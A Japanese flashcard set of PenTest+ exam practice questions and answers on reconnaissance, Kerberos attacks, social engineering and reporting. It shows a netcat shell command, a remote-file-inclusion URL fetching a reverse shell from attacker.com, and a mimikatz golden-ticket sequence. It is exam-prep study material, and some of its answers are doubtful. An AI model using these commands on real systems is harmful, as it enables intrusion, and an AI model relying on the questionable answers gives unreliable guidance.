PenTest+（８）

32問 • 4年前

なおき

通報

問題一覧

Linuxからmetasploitを起動させているのはどれですか。

msfconsole

digを使用してドメインコントローラーの情報を収集するコマンドラインの一部はどれですか。

_kerberos._tcp._msdcs.example.com.

一連のIPアドレスのPTRを集めるのに使用するコマンドはどれですか。

dig

IoTのセキュリティが弱い理由はどれですか。

ハードウェアのスペック不足

コールバック接続の生成として最もふさわしいものはどれですか。

nc -lp 443 -e /usr/bin/bash

Ticket-grantingチケットを使用して認証情報を取得するのはどれですか。

Kerberoasting

クレデンシャルのブルートフォース攻撃を行うツールはどれですか。

hashcat

パッシブな脆弱性検査をするにはどれが適切ですか。

shodan

ペネトレーションテストのレポートにおいて、全体的なリスクのレベルを解説する場所はどこですか。

エグゼクティブサマリー

次のような出力を得るためのnmapのオプションはどれですか。 not shown 96port close 88/tcp open kerberos-sec? 139/tpc open Netbios-ssn 389/tpc open ldap? 445/tcp open Microsoft-ds? MACアドレス　40-B0-34-FA-41-9F デバイスタイプ　汎用実行中　Linux2.4.X OSCPE cpe:/o:Linux_kernel2.4.21 OS詳細　Linux2.4.21 ネットワーク距離　1ホップ

-A

WiFiのMITMのツールはどれですか。

karma

CEOに対してSMSを使ってサイトに接続させて情報を取ろうとするのはどれですか。

スピアフィッシング

ICSが潜在的な脆弱性をかかえる理由はどれですか。

セキュリティが不要なため

営業時間中に従業員がいてもいなくても物理的にアクセスするために攻撃者が行うことはどれですか。

バッジクローニング

metasploitでインターネット外からローカルPCに入るために追加して行うコマンドはどれですか。

use auxiliary/server/socks4a

ローカルのネットワークでARPを使ったMITMを行うツールとして適切なものはどれですか。

ettercap

ログを調べると30分で2回同じバッジが使われていることがわかりました。発生しているのはどれですか。

バッジクローニング

いくつかの大きいポートでWebサービスが公開されていることについてペネトレーションテスターから報告を受けました。システム管理者によるとアプリケーションは443番ポートのみ使用しているとのことでした。適切な対応はどれですか。

不要なサービスを無効にする

OSINTでターゲット企業の従業員の情報を得る方法のうち最初に行うこととして適切なものはどれですか。

SNSで調査する

一つの企業に対して、長い時間をかけて侵入し、情報の窃取を行うのはどれですか。

APT

外部ネットワーク侵入テストの期間中にペネトレーションテスターの送信元IPアドレスをIPSのホワイトリストに追加する議論がなされました。その議論の論点として最も適切なものはどれですか。

IPSの防御性能の有効性確認よりシステム全般の脆弱性の発見が大切である

ペネトレーションテストで情報収集することを表した用語として適切なものはどれですか。

フットプリンティング

セキュリティ評価者は、顧客企業のそのネットワークおよびシステムの包括的なペネトレーションテストを完了しました。評価中に、テスターは、会社のイントラネット全体の給与WebアプリケーションでTLSに使用される暗号ライブラリの脆弱性を特定しました。ベンダーによるパッチはまだ提供されていませんが、数日以内にパッチが提供される予定です。影響のリスクを軽減するのはどれですか。

ACLを実装して、アプリケーションへのアクセスを財務部門のみに制限し、脆弱性修正後、再度許可

WAFログの監視中に、セキュリティアナリストは次のURLに対する攻撃の成功を発見しました： https://example.com/index.php?Phone=http://attacker.com/badstuffhappens/revshell.php このタイプの攻撃を防ぐため、どのような対応が考えられますか。

URLリダイレクトをブロック

ソーシャルエンジニアリングを行うため、対象企業の従業員名を取得するには、どれを使用しますか。

SNS

脆弱性スキャンで指摘を受けた脆弱性が、どのような領域の脆弱性なのかを確認するにはどれを使用しますか。

CWE

Telnetを停止しているといってますが、Nmapで調べるとポート22クローズ、ポート23オープンという結果でした。この状況を説明しているのはどれですか。

標準でないポートで動作させている

ケルベロス攻撃のシナリオは次のうちのどれですか。

ドメイン管理者のアカウントでSMBexecを実行し、その後mimikatzでゴールデンチケットを作成し、その後チケットをパージしゴールデンチケットをロードしドメイン管理者のチケットを作成する。

次のpythonのプログラムを実行した時にprintの出力先はどこになりますか。 #!/usr/bin/python import socket as sock for p in range(1,1024): try: s = sock.socket(sock.AF_INET,sock.SOCK_STREAM) s.connect('127.0.0.1',p) print '%d:open' % (p) except: continue

画面

調査結果を機密として取り扱う理由として、適切なのはどれですか。

第三者からの攻撃を誘引しないようにするため

サーバーで使用しているオープンソースソフトウェアのCVEを検索したところ、CVSSv3において7.0と評価されていました。この評価値の深刻度はどれですか。

重要な脆弱性

オフィスビル内のカフェなどで画面を盗み見ることで情報を収集するのはどれですか。

ショルダーサーフィン

PenTest+（６）

なおき · 29問 · 4年前

PenTest+（６）

29問 • 4年前

なおき